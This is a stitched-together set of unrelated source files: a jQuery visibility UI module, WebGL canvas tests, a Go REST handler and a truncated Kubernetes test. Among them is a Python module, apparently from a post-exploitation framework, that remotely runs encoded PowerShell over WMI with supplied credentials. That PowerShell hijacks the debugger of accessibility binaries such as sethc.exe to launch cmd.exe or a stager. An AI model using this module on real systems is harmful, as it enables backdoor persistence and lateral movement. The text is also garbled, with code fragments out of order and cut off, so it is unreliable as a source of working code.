settings.metadata, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $window = $(window), $module = $(this), $context = $(settings.context), $placeholder, selector = $module.selector || '', instance = $module.data(moduleNamespace), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, element = this, disabled = false, observer, module ; module = { initialize: function() { module.debug('Initializing', settings); module.setup.cache(); if( module.should.trackChanges() ) { if(settings.type == 'image') { module.setup.image(); } if(settings.type == 'fixed') { module.setup.fixed(); } if(settings.observeChanges) { module.observeChanges(); } module.bind.events(); } module.save.position(); if( !module.is.visible() ) { module.error(error.visible, $module); } if(settings.initialCheck) { module.checkVisibility(); } module.instantiate(); }, instantiate: function() { module.debug('Storing instance', module); $module .data(moduleNamespace, module) ; instance = module; }, destroy: function() { module.verbose('Destroying previous module'); if(observer) { observer.disconnect(); } $window .off('load' + eventNamespace, module.event.load) .off('resize' + eventNamespace, module.event.resize) ; $context .off('scrollchange' + eventNamespace, module.event.scrollchange) ; $module .off(eventNamespace) .removeData(moduleNamespace) ; }, observeChanges: function() { if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { module.verbose('DOM tree modified, updating visibility calculations'); module.timer = setTimeout(function() { module.verbose('DOM tree modified, updating sticky menu'); module.refresh(); }, 100); }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, bind: { events: function() { module.verbose('Binding visibility events to scroll and resize'); if(settings.refreshOnLoad) { $window .on('load' + eventNamespace, module.event.load) ; } $window .on('resize' + eventNamespace, module.event.resize) ; // pub/sub pattern $context .off('scroll' + eventNamespace) .on('scroll' + eventNamespace, module.event.scroll) .on('scrollchange' + eventNamespace, module.event.scrollchange) ; } }, event: { resize: function() { module.debug('Window resized'); if(settings.refreshOnResize) { requestAnimationFrame(module.refresh); } }, load: function() { module.debug('Page finished loading'); requestAnimationFrame(module.refresh); }, // publishes scrollchange event on one scroll scroll: function() { if(settings.throttle) { clearTimeout(module.timer); module.timer = setTimeout(function() { $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]); }, settings.throttle); } else { requestAnimationFrame(function() { $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]); }); } }, // subscribes to scrollchange scrollchange: function(event, scrollPosition) { module.checkVisibility(scrollPosition); }, }, precache: function(images, callback) { if (!(images instanceof Array)) { images = [images]; } var imagesLength = images.length, loadedCounter = 0, cache = [], cacheImage = document.createElement('img'), handleLoad = function() { loadedCounter++; if (loadedCounter >= images.length) { if ($.isFunction(callback)) { callback(); } } } ; while (imagesLength--) { cacheImage = document.createElement('img'); cacheImage.onload = handleLoad; cacheImage.onerror = handleLoad; cacheImage.src = images[imagesLength]; cache.push(cacheImage); } }, enableCallbacks: function() { module.debug('Allowing callbacks to occur'); disabled = false; }, disableCallbacks: function() { module.debug('Disabling all callbacks temporarily'); disabled = true; }, should: { trackChanges: function() { if(methodInvoked) { module.debug('One time query, no need to bind events'); return false; } module.debug('Callbacks being attached'); return true; } }, setup: { cache: function() { module.cache = { occurred : {}, screen : {}, element : {}, }; }, image: function() { var src = $module.data(metadata.src) ; if(src) { module.verbose('Lazy loading image', src); settings.once = true; settings.observeChanges = false; // show when top visible settings.onOnScreen = function() { module.debug('Image on screen', element); module.precache(src, function() { module.set.image(src); }); }; } }, fixed: function() { module.debug('Setting up fixed'); settings.once = false; settings.observeChanges = false; settings.initialCheck = true; settings.refreshOnLoad = true; if(!parameters.transition) { settings.transition = false; } module.create.placeholder(); module.debug('Added placeholder', $placeholder); settings.onTopPassed = function() { module.debug('Element passed, adding fixed position', $module); module.show.placeholder(); module.set.fixed(); if(settings.transition) { if($.fn.transition !== undefined) { $module.transition(settings.transition, settings.duration); } } }; settings.onTopPassedReverse = function() { module.debug('Element returned to position, removing fixed', $module); module.hide.placeholder(); module.remove.fixed(); }; } }, create: { placeholder: function() { module.verbose('Creating fixed position placeholder'); $placeholder = $module .clone(false) .css('display', 'none') .addClass(className.placeholder) .insertAfter($module) ; } }, show: { placeholder: function() { module.verbose('Showing placeholder'); $placeholder .css('display', 'block') .css('visibility', 'hidden') ; } }, hide: { placeholder: function() { module.verbose('Hiding placeholder'); $placeholder .css('display', 'none') .css('visibility', '') ; } }, set: { fixed: function() { module.verbose('Setting element to fixed position'); $module .addClass(className.fixed) .css({ position : 'fixed', top : settings.offset + 'px', left : 'auto', zIndex : '1' }) ; }, image: function(src) { $module .attr('src', src) ; if(settings.transition) { if( $.fn.transition !== undefined ) { $module.transition(settings.transition, settings.duration); } else { $module.fadeIn(settings.duration); } } else { $module.show(); } } }, is: { onScreen: function() { var calculations = module.get.elementCalculations() ; return calculations.onScreen; }, offScreen: function() { var calculations = module.get.elementCalculations() ; return calculations.offScreen; }, visible: function() { if(module.cache && module.cache.element) { return !(module.cache.element.width === 0 && module.cache.element.offset.top === 0); } return false; } }, refresh: function() { module.debug('Refreshing constants (width/height)'); if(settings.type == 'fixed') { module.remove.fixed(); module.remove.occurred(); } module.reset(); module.save.position(); if(settings.checkOnRefresh) { module.checkVisibility(); } settings.onRefresh.call(element); }, reset: function() { module.verbose('Reseting all cached values'); if( $.isPlainObject(module.cache) ) { module.cache.screen = {}; module.cache.element = {}; } }, checkVisibility: function(scroll) { module.verbose('Checking visibility of element', module.cache.element); if( !disabled && module.is.visible() ) { // save scroll position module.save.scroll(scroll); // update calculations derived from scroll module.save.calculations(); // percentage module.passed(); // reverse (must be first) module.passingReverse(); module.topVisibleReverse(); module.bottomVisibleReverse(); module.topPassedReverse(); module.bottomPassedReverse(); // one time module.onScreen(); module.offScreen(); module.passing(); module.topVisible(); module.bottomVisible(); module.topPassed(); module.bottomPassed(); // on update callback if(settings.onUpdate) { settings.onUpdate.call(element, module.get.elementCalculations()); } } }, passed: function(amount, newCallback) { var calculations = module.get.elementCalculations(), amountInPixels ; // assign callback if(amount && newCallback) { settings.onPassed[amount] = newCallback; } else if(amount !== undefined) { return (module.get.pixelsPassed(amount) > calculations.pixelsPassed); } else if(calculations.passing) { $.each(settings.onPassed, function(amount, callback) { if(calculations.bottomVisible || calculations.pixelsPassed > module.get.pixelsPassed(amount)) { module.execute(callback, amount); } else if(!settings.once) { module.remove.occurred(callback); } }); } }, onScreen: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onOnScreen, callbackName = 'onScreen' ; if(newCallback) { module.debug('Adding callback for onScreen', newCallback); settings.onOnScreen = newCallback; } if(calculations.onScreen) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return calculations.onOnScreen; } }, offScreen: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onOffScreen, callbackName = 'offScreen' ; if(newCallback) { module.debug('Adding callback for offScreen', newCallback); settings.onOffScreen = newCallback; } if(calculations.offScreen) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return calculations.onOffScreen; } }, passing: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onPassing, callbackName = 'passing' ; if(newCallback) { module.debug('Adding callback for passing', newCallback); settings.onPassing = newCallback; } if(calculations.passing) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return calculations.passing; } }, topVisible: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopVisible, callbackName = 'topVisible' ; if(newCallback) { module.debug('Adding callback for top visible', newCallback); settings.onTopVisible = newCallback; } if(calculations.topVisible) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.topVisible; } }, bottomVisible: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomVisible, callbackName = 'bottomVisible' ; if(newCallback) { module.debug('Adding callback for bottom visible', newCallback); settings.onBottomVisible = newCallback; } if(calculations.bottomVisible) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.bottomVisible; } }, topPassed: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopPassed, callbackName = 'topPassed' ; if(newCallback) { module.debug('Adding callback for top passed', newCallback); settings.onTopPassed = newCallback; } if(calculations.topPassed) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.topPassed; } }, bottomPassed: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomPassed, callbackName = 'bottomPassed' ; if(newCallback) { module.debug('Adding callback for bottom passed', newCallback); settings.onBottomPassed = newCallback; } if(calculations.bottomPassed) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.bottomPassed; } }, passingReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onPassingReverse, callbackName = 'passingReverse' ; if(newCallback) { module.debug('Adding callback for passing reverse', newCallback); settings.onPassingReverse = newCallback; } if(!calculations.passing) { if(module.get.occurred('passing')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return !calculations.passing; } }, topVisibleReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopVisibleReverse, callbackName = 'topVisibleReverse' ; if(newCallback) { module.debug('Adding callback for top visible reverse', newCallback); settings.onTopVisibleReverse = newCallback; } if(!calculations.topVisible) { if(module.get.occurred('topVisible')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.topVisible; } }, bottomVisibleReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomVisibleReverse, callbackName = 'bottomVisibleReverse' ; if(newCallback) { module.debug('Adding callback for bottom visible reverse', newCallback); settings.onBottomVisibleReverse = newCallback; } if(!calculations.bottomVisible) { if(module.get.occurred('bottomVisible')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.bottomVisible; } }, topPassedReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopPassedReverse, callbackName = 'topPassedReverse' ; if(newCallback) { module.debug('Adding callback for top passed reverse', newCallback); settings.onTopPassedReverse = newCallback; } if(!calculations.topPassed) { if(module.get.occurred('topPassed')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.onTopPassed; } }, bottomPassedReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomPassedReverse, callbackName = 'bottomPassedReverse' ; if(newCallback) { module.debug('Adding callback for bottom passed reverse', newCallback); settings.onBottomPassedReverse = newCallback; } if(!calculations.bottomPassed) { if(module.get.occurred('bottomPassed')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.bottomPassed; } }, execute: function(callback, callbackName) { var calculations = module.get.elementCalculations(), screen = module.get.screenCalculations() ; callback = callback || false; if(callback) { if(settings.continuous) { module.debug('Callback being called continuously', callbackName, calculations); callback.call(element, calculations, screen); } else if(!module.get.occurred(callbackName)) { module.debug('Conditions met', callbackName, calculations); callback.call(element, calculations, screen); } } module.save.occurred(callbackName); }, remove: { fixed: function() { module.debug('Removing fixed position'); $module .removeClass(className.fixed) .css({ position : '', top : '', left : '', zIndex : '' }) ; }, occurred: function(callback) { if(callback) { var occurred = module.cache.occurred ; if(occurred[callback] !== undefined && occurred[callback] === true) { module.debug('Callback can now be called again', callback); module.cache.occurred[callback] = false; } } else { module.cache.occurred = {}; } } }, save: { calculations: function() { module.verbose('Saving all calculations necessary to determine positioning'); module.save.direction(); module.save.screenCalculations(); module.save.elementCalculations(); }, occurred: function(callback) { if(callback) { if(module.cache.occurred[callback] === undefined || (module.cache.occurred[callback] !== true)) { module.verbose('Saving callback occurred', callback); module.cache.occurred[callback] = true; } } }, scroll: function(scrollPosition) { scrollPosition = scrollPosition + settings.offset || $context.scrollTop() + settings.offset; module.cache.scroll = scrollPosition; }, direction: function() { var scroll = module.get.scroll(), lastScroll = module.get.lastScroll(), direction ; if(scroll > lastScroll && lastScroll) { direction = 'down'; } else if(scroll < lastScroll && lastScroll) { direction = 'up'; } else { direction = 'static'; } module.cache.direction = direction; return module.cache.direction; }, elementPosition: function() { var element = module.cache.element, screen = module.get.screenSize() ; module.verbose('Saving element position'); // (quicker than $.extend) element.fits = (element.height < screen.height); element.offset = $module.offset(); element.width = $module.outerWidth(); element.height = $module.outerHeight(); // store module.cache.element = element; return element; }, elementCalculations: function() { var screen = module.get.screenCalculations(), element = module.get.elementPosition() ; // offset if(settings.includeMargin) { element.margin = {}; element.margin.top = parseInt($module.css('margin-top'), 10); element.margin.bottom = parseInt($module.css('margin-bottom'), 10); element.top = element.offset.top - element.margin.top; element.bottom = element.offset.top + element.height + element.margin.bottom; } else { element.top = element.offset.top; element.bottom = element.offset.top + element.height; } // visibility element.topVisible = (screen.bottom >= element.top); element.topPassed = (screen.top >= element.top); element.bottomVisible = (screen.bottom >= element.bottom); element.bottomPassed = (screen.top >= element.bottom); element.pixelsPassed = 0; element.percentagePassed = 0; // meta calculations element.onScreen = (element.topVisible && !element.bottomPassed); element.passing = (element.topPassed && !element.bottomPassed); element.offScreen = (!element.onScreen); // passing calculations if(element.passing) { element.pixelsPassed = (screen.top - element.top); element.percentagePassed = (screen.top - element.top) / element.height; } module.cache.element = element; module.verbose('Updated element calculations', element); return element; }, screenCalculations: function() { var scroll = module.get.scroll() ; module.save.direction(); module.cache.screen.top = scroll; module.cache.screen.bottom = scroll + module.cache.screen.height; return module.cache.screen; }, screenSize: function() { module.verbose('Saving window position'); module.cache.screen = { height: $context.height() }; }, position: function() { module.save.screenSize(); module.save.elementPosition(); } }, get: { pixelsPassed: function(amount) { var element = module.get.elementCalculations() ; if(amount.search('%') > -1) { return ( element.height * (parseInt(amount, 10) / 100) ); } return parseInt(amount, 10); }, occurred: function(callback) { return (module.cache.occurred !== undefined) ? module.cache.occurred[callback] || false : false ; }, direction: function() { if(module.cache.direction === undefined) { module.save.direction(); } return module.cache.direction; }, elementPosition: function() { if(module.cache.element === undefined) { module.save.elementPosition(); } return module.cache.element; }, elementCalculations: function() { if(module.cache.element === undefined) { module.save.elementCalculations(); } return module.cache.element; }, screenCalculations: function() { if(module.cache.screen === undefined) { module.save.screenCalculations(); } return module.cache.screen; }, screenSize: function() { if(module.cache.screen === undefined) { module.save.screenSize(); } return module.cache.screen; }, scroll: function() { if(module.cache.scroll === undefined) { module.save.scroll(); } return module.cache.scroll; }, lastScroll: function() { if(module.cache.screen === undefined) { module.debug('First scroll event, no last scroll could be found'); return false; } return module.cache.screen.top; } }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } instance.save.scroll(); instance.save.calculations(); module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.visibility.settings = { name : 'Visibility', namespace : 'visibility', debug : false, verbose : false, performance : true, // whether to use mutation observers to follow changes observeChanges : true, // check position immediately on init initialCheck : true, // whether to refresh calculations after all page images load refreshOnLoad : true, // whether to refresh calculations after page resize event refreshOnResize : true, // should call callbacks on refresh event (resize, etc) checkOnRefresh : true, // callback should only occur one time once : true, // callback should fire continuously whe evaluates to true continuous : false, // offset to use with scroll top offset : 0, // whether to include margin in elements position includeMargin : false, // scroll context for visibility checks context : window, // visibility check delay in ms (defaults to animationFrame) throttle : false, // special visibility type (image, fixed) type : false, // image only animation settings transition : 'fade in', duration : 1000, // array of callbacks for percentage onPassed : {}, // standard callbacks onOnScreen : false, onOffScreen : false, onPassing : false, onTopVisible : false, onBottomVisible : false, onTopPassed : false, onBottomPassed : false, // reverse callbacks onPassingReverse : false, onTopVisibleReverse : false, onBottomVisibleReverse : false, onTopPassedReverse : false, onBottomPassedReverse : false, // utility callbacks onUpdate : false, // disabled by default for performance onRefresh : function(){}, metadata : { src: 'src' }, className: { fixed : 'fixed', placeholder : 'placeholder' }, error : { method : 'The method you called is not defined.', visible : 'Element is hidden, you must call refresh after element becomes visible' } }; })( jQuery, window , document );
module.error(error.movedSidebar, element);
canvas-tests.ts
// Copyright (c) 2021, NVIDIA CORPORATION. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. import {globalWindow} from './utils'; describe('HTMLCanvasElement', () => { test(`window.Image exists`, () => { expect(globalWindow.evalFn(() => { return (typeof Image !== 'undefined') && // (typeof HTMLImageElement !== 'undefined') && // (new Image()) instanceof HTMLImageElement; })) .toBe(true); });
const gl = require('@rapidsai/webgl'); const {document} = window; const canvas = document.body.appendChild(document.createElement('canvas')); return canvas.getContext('webgl2') instanceof gl.WebGL2RenderingContext; })) .toBe(true); }); test(`getContext('webgl2') only creates one OpenGL context`, () => { expect(globalWindow.evalFn(() => { const {document} = window; const canvas = document.body.appendChild(document.createElement('canvas')); return canvas.getContext('webgl2') === canvas.getContext('webgl2'); })) .toBe(true); }); });
test(`getContext('webgl2') returns our OpenGL context`, () => { expect(globalWindow.evalFn(() => {
invoke_wmi_debugger.py
from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-WMIDebugger', 'Author': ['@harmj0y'], 'Description': ('Uses WMI to set the debugger for a target binary on a remote ' 'machine to be cmd.exe or a stager.'), 'Background' : False, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : False, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'CredID' : { 'Description' : 'CredID from the store to use.', 'Required' : False, 'Value' : '' }, 'ComputerName' : { 'Description' : 'Host[s] to execute the stager on, comma separated.', 'Required' : True, 'Value' : '' }, 'Listener' : { 'Description' : 'Listener to use.', 'Required' : False, 'Value' : '' }, 'UserName' : { 'Description' : '[domain\]username to use to execute command.', 'Required' : False, 'Value' : '' }, 'Password' : { 'Description' : 'Password to use to execute command.', 'Required' : False, 'Value' : '' }, 'TargetBinary' : { 'Description' : 'Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe)', 'Required' : True, 'Value' : 'sethc.exe' }, 'RegPath' : { 'Description' : 'Registry location to store the script code. Last element is the key name.', 'Required' : False, 'Value' : 'HKLM:Software\Microsoft\Network\debug' }, 'Binary' : { 'Description' : 'Binary to set for the debugger.', 'Required' : False, 'Value' : 'C:\Windows\System32\cmd.exe' }, 'Cleanup' : { 'Description' : 'Switch. Disable the debugger for the specified TargetBinary.', 'Required' : False, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""):
script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" # management options cleanup = self.options['Cleanup']['Value'] binary = self.options['Binary']['Value'] targetBinary = self.options['TargetBinary']['Value'] listenerName = self.options['Listener']['Value'] userName = self.options['UserName']['Value'] password = self.options['Password']['Value'] # storage options regPath = self.options['RegPath']['Value'] statusMsg = "" locationString = "" # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print helpers.color("[!] CredID is invalid!") return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if domainName != "": self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName) else: self.options["UserName"]['Value'] = str(userName) if password != "": self.options["Password"]['Value'] = passw = password if cleanup.lower() == 'true': # the registry command to disable the debugger for the target binary payloadCode = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';" statusMsg += " to remove the debugger for " + targetBinary elif listenerName != '': # if there's a listener specified, generate a stager and store it if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True) encScript = launcher.split(" ")[-1] # statusMsg += "using listener " + listenerName path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] # statusMsg += " stored in " + regPath + "." payloadCode = "$RegPath = '"+regPath+"';" payloadCode += "$parts = $RegPath.split('\\');" payloadCode += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" payloadCode += "$name = $parts[-1];" payloadCode += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "$((gp "+path+" "+name+")."+name+")" payloadCode += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';" statusMsg += " to set the debugger for "+targetBinary+" to be a stager for listener " + listenerName + "." else: payloadCode = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+binary+"';" statusMsg += " to set the debugger for "+targetBinary+" to be " + binary + "." # unicode-base64 the payload code to execute on the targets with -enc encPayload = helpers.enc_powershell(payloadCode) # build the WMI execution string computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\"" script += " -ComputerName @("+computerNames+")" script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload + "\"" # if we're supplying alternate user credentials if userName != '': script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script
dep_outputs.go
// Copyright 2018 Bull S.A.S. Atos Technologies - Bull, Rue Jean Jaures, B.P.68, 78340, Les Clayes-sous-Bois, France. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package rest import ( "context" "net/http" "path" "github.com/julienschmidt/httprouter" "github.com/ystia/yorc/v4/deployments" "github.com/ystia/yorc/v4/log" ) func (s *Server) getOutputHandler(w http.ResponseWriter, r *http.Request) { var params httprouter.Params ctx := r.Context() params = ctx.Value(paramsLookupKey).(httprouter.Params) id := params.ByName("id") opt := params.ByName("opt") status, err := deployments.GetDeploymentStatus(ctx, id) if err != nil { if deployments.IsDeploymentNotFoundError(err) { writeError(w, r, errNotFound) } } result, err := deployments.GetTopologyOutputValue(ctx, id, opt) if err != nil { if status == deployments.DEPLOYMENT_IN_PROGRESS { // Things may not be resolvable yet encodeJSONResponse(w, r, Output{Name: opt, Value: ""}) return } log.Panicf("Unable to resolve topology output %q: %v", opt, err) } if result == nil { writeError(w, r, errNotFound) return } encodeJSONResponse(w, r, Output{Name: opt, Value: result.String()}) } func (s *Server) listOutputsHandler(w http.ResponseWriter, r *http.Request) { var params httprouter.Params ctx := r.Context() params = ctx.Value(paramsLookupKey).(httprouter.Params) id := params.ByName("id") links := s.listOutputsLinks(ctx, id) if len(links) == 0 { w.WriteHeader(http.StatusNoContent) return } optCol := OutputsCollection{Outputs: links} encodeJSONResponse(w, r, optCol) } func (s *Server) listOutputsLinks(ctx context.Context, id string) []AtomLink {
outNames, err := deployments.GetTopologyOutputsNames(ctx, id) if err != nil { log.Panic(err) } links := make([]AtomLink, len(outNames)) for optIndex, optName := range outNames { link := newAtomLink(LinkRelOutput, path.Join("/deployments", id, "outputs", optName)) links[optIndex] = link } return links }
convert_mutating_test.go
package resources import ( "testing" "time" timestamp "github.com/gogo/protobuf/types" "github.com/stackrox/rox/generated/internalapi/central" "github.com/stackrox/rox/generated/storage" "github.com/stackrox/rox/pkg/kubernetes" "github.com/stackrox/rox/sensor/kubernetes/orchestratornamespaces" "github.com/stretchr/testify/assert" v1 "k8s.io/api/core/v1" "k8s.io/api/extensions/v1beta1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/types" ) func TestConvertDifferentContainerNumbers(t *testing.T) { t.Parallel() cases := []struct { name string inputObj interface{} deploymentType string action central.ResourceAction podLister *mockPodLister systemNamespaces *orchestratornamespaces.OrchestratorNamespaces expectedDeployment *storage.Deployment }{ { name: "Not an orchestrator deployment", inputObj: &v1beta1.Deployment{ TypeMeta: metav1.TypeMeta{ APIVersion: "v1beta1", Kind: "Deployment", }, ObjectMeta: metav1.ObjectMeta{ UID: types.UID("FooID"), Name: "deployment", Namespace: "namespace", CreationTimestamp: metav1.NewTime(time.Unix(1000, 0)), }, Spec: v1beta1.DeploymentSpec{ Selector: &metav1.LabelSelector{ MatchLabels: make(map[string]string), }, Template: v1.PodTemplateSpec{ Spec: v1.PodSpec{ Containers: []v1.Container{ { Name: "container1", Image: "docker.io/stackrox/kafka:latest", }, }, }, }, }, }, deploymentType: kubernetes.Deployment, action: central.ResourceAction_UPDATE_RESOURCE, podLister: &mockPodLister{ pods: []*v1.Pod{ { ObjectMeta: metav1.ObjectMeta{ UID: types.UID("ebf487f0-a7c3-11e8-8600-42010a8a0066"), Name: "deployment-blah-blah", Namespace: "myns", OwnerReferences: []metav1.OwnerReference{ { UID: "FooID", Kind: kubernetes.Deployment, }, }, }, Status: v1.PodStatus{ ContainerStatuses: []v1.ContainerStatus{ { Name: "container1", Image: "docker.io/stackrox/kafka:latest", }, { Name: "container2", Image: "docker.io/stackrox/policy-engine:1.3", ImageID: 